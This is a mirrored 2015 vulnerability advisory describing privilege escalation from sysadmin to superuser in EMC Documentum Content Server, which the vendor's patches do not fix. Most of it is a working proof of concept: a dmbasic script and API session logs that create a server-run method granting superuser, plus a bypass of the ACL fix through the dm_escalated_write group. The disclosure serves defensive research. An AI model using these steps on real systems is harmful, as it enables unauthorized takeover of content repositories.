Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:32406
HistoryAug 24, 2015 - 12:00 a.m.

sysadmin privilege in EMC Documentum Content Server

2015-08-2400:00:00
vulners.com
60

Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

In 2011 Yuri Simone discovered a security flaw in EMC Documentum Content Server, which allows users with sysadmin privileges to elevate their privileges to superuser (see CVE-2011-4144). On April 2014 I discovered another set of vulnerabilities related to CVE-2011-4144 (see attached VRF#HUDHKNW4.txt). On September 2014 vendor announced a fix (see CVE-2014-4622) for the first only vulnerability from VRF#HUDHKNW4.txt (check row 5 in CERT's spreadsheet for VU#315340 (http://www.kb.cert.org/vuls/id/315340)). Yesterday vendor announced a new fix (see CVE-2015-4531) related to VRF#HUDHKNW4.txt. Besides the fact that CVE-2015-4531 has a completely wrong description, CVE-2015-4531 does not introduce any security fixes. I believe that there are about a dozen of options to elevate privileges from sysadmin to superuser, but I'm going to describe the most obvious one.

  1. If attacker is able to create (or modify) docbase method (object with dm_method type) he is able to elevate his privileges through executing this method, example:

cat > test.ebs
Const CONNECTION_ERROR As Integer = 33

Sub rmain(d As String, u As String, g As String)
s$ = dmAPIGet("connect," & d & "," & u & ",")

If s = "" Then
dmExit(CONNECTION_ERROR)
End If

q$ = "update dm_user objects" & _
" set user_privileges=16" & _
" where user_name='" & g & "'"

s=dmAPIExec("execquery," & s & ",T," & q)

End Sub

API> create,c,dm_method

10024be98001f92d
API> set,c,l,object_name
SET> test

OK
API> setfile,c,l,test.ebs,crtext

OK
API> set,c,l,method_verb
SET> ./dmbasic -ermain

OK
API> set,c,l,run_as_server
SET> T

OK
API> set,c,l,use_method_content
SET> T

OK
API> set,c,l,method_type
SET> dmbasic

OK
API> save,c,l

OK
API> retrieve,c,dm_user where user_name='test'

11024be980000e8a
API> get,c,l,user_privileges

0
API> apply,c,DO_METHOD,METHOD,S,test,
ARGUMENTS,S,'repo dmadmin test'

q0
API> retrieve,c,dm_user where user_name='test'

11024be980000e8a
API> get,c,l,user_privileges

16

  1. for the reason mentioned above regular users are unable to create or modify docbase methods:

API> create,c,dm_method

10024be98001f954
API> save,c,l

[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error: "The current user (test)
needs to have superuser or sysadmin privilege to save or destroy dm_method object."

  1. But sysadmins were able to create docbase methods. Now if sysadmin tries to create docbase method it gets following error:

API> create,c,dm_method

10024be98001f968
API> set,c,l,object_name
SET> test1

OK
API> setfile,c,l,test.ebs,crtext

OK
API> set,c,l,method_verb
SET> ./dmbasic -ermain

OK
API> save,c,l

[DM_SYSOBJECT_E_LINK_PERMIT2]error: "Linking or unlinking to the folder
'/System/Methods' failed on sysobject '10024be98001f968'.
WRITE permit is required on the folder, when using folder security."

  1. So, it is obvious that remediation provided by vendor relies on ACL restrictions for /System/Methods folder, the problem is vendor does not take into account that Content Server has a set of groups which allow to bypass ACL restrictions and are still manageable by sysadmin users, example:

API> ?,c,alter group dm_escalated_write add testadmin

API> create,c,dm_method

10024be98001f969
API> set,c,l,object_name
SET> test1

OK
API> setfile,c,l,test.ebs,crtext

OK
API> set,c,l,method_verb
SET> ./dmbasic -ermain

OK
API> save,c,l

OK

__
Regards,
Andrey B. Panfilov

Related for SECURITYVULNS:DOC:32406